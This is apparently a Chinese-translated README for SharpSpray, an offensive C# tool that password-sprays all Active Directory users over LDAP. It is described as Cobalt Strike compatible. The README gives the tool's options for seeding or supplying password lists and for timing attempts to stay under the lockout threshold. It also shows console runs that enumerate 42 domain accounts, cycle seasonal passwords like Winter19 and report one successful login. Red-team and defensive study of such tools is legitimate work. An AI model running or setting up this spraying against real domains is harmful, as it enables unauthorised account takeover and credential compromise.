本项目是我 PowerSpray.ps1 脚本的 C# 移植版本。SharpSpray 是一组简单的代码,用于通过 LDAP 对域内所有用户执行密码喷洒攻击,并与 Cobalt Strike 兼容。
https://github.com/jnqpblc/Misc-PowerShell/blob/master/PowerSpray.ps1
默认情况下,它会自动从域中生成用户列表。
默认情况下,它会根据当前日期自动生成密码列表。
请注意不要锁定任何账户。
SharpSpray.exe
--Seeds [ 以逗号分隔的密码列表,作为内部列表生成器的种子。例如:Password,Welcome,Company ]
--Passwords [ 以逗号分隔的密码列表,用于替代内部列表生成器。例如:Password1,Password19,Company19,Welcome19 ]
--Delay [ 每次尝试之间的延迟时间(毫秒)。例如:300 ]
--Sleep [ 每个密码周期之间休眠的分钟数。例如:15 ]
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Sleep 15
[+] 成功从 Active Directory 收集了 42 个用户名。
[*] 当前域的锁定阈值为 10。
[*] 当前域的最小密码长度为 10。
[+] 成功生成了 64 个密码的列表。
[*] 开始密码喷洒操作。
[*] 每次尝试之间使用默认延迟 1000 毫秒。
[*] 正在使用密码 Winter19
^C
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Seeds Password,Welcome,Company --Sleep 15
[+] 成功从 Active Directory 收集了 42 个用户名。
[*] 当前域的锁定阈值为 10。
[*] 当前域的最小密码长度为 10。
[+] 成功生成了 42 个密码的列表。
[*] 开始密码喷洒操作。
[*] 每次尝试之间使用默认延迟 1000 毫秒。
[*] 正在使用密码 Password19
^C
C:\Users\jnqpblc\Desktop>SharpSpray.exe --Passwords ItsNotWinter! --Sleep 15 --Delay 300
[+] 成功从 Active Directory 收集了 42 个用户名。
[*] 当前域的锁定阈值为 10。
[*] 当前域的最小密码长度为 10。
[+] 成功生成了 1 个密码的列表。
[*] 开始密码喷洒操作。
[*] 每次尝试之间使用延迟 300 毫秒。
[*] 正在使用密码 ItsNotWinter!
[+] 成功使用 jnqpblc::ItsNotWinter! 进行身份验证。
[*] 完成所有使用密码 ItsNotWinter! 的轮次。
[*] 现在脚本将休眠 15 分钟。
^C